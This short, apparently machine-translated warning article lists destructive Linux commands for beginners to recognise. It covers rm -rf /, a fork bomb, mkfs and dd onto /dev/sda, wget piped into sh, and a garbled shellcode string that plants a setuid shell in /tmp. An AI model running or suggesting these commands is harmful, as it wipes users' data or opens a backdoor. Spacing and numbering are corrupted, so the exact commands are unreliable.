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9 Lethal commands for Linux to be avoided absolutely

This one list of commands which you absolutely must avoid if you don't want to completely reinstall your linux distribution.

9 Lethal commands for each Linux distribution 9 Lethal commands for each Linux distribution

It is very useful for those who have started using linux and usually many of these commands are suggested by funny guys on irc and forums to mock and discourage those who are beginners and may want help. To do damage you must be root, as a normal user do not take risks.

1. rm -rf /

Recursive command that indiscriminately deletes all files starting from the root /


char esp () __attribute__ ((section (". text"))) / * esprelease * / = "x b and x 5 b x 31 x 50 x 54 x 5 x 83 x xec x 64 x 68" " xff xff xff xff x68 xdf xd0 xdf XD9 x68 X8D x99 "" xdf x81 x68 X8D x92 xdf xd2 x54 x5e XF7 x16 XF7 "" x56 x04 XF7 x56 x08 XF7 x56 x0c x83 XC4 x74 x56 "" X8D x73 x08 x56 x53 x54 x59 xb0 X0B xcd x80 x31 "" xc0 x 40 x ff xe8 xb xff xff xff x2 x62 x69 "x6e x2f 73 x 68 x 2d x 63 x 00" cp – p / bin / sh /tmp/.beyond; chmod 4755 / tmp / .beyond; ?;

Same effect as above but written in hexadecimal shellcode. More difficult to recognize.

3. mkfs.ext3 / dev / sda (or / dev / hda or with .reiserfs)

Format with your ext3 filesystem.

4.: () {: |: &} ;:

Also known as "fork bomb", it continually creates processes until the system collapses. On some systems the command not it works.

5. any command > / dev / sda (or / dev / hda)

Writes raw data to your main device.

6. wget http: // something -O- | sh

The command downloads a file (potentially executable) from an unreliable source and executes it. It can be a script that does anything

7. mv ~ / * / dev / null

Move all files in the home to a place that does not exist (/ dev / null). This command is fatal even in the case of a normal user

8. dd if = / dev / urandom of = / dev / sda (or / dev / hda)

He randomly writes something on your record. Compromise filesystem

9. chown nobody: nobody -R /

Change the file owner across the filesystem. Actually not a lethal command, but for the consequences that will come, you will lose hours putting everything back in its place.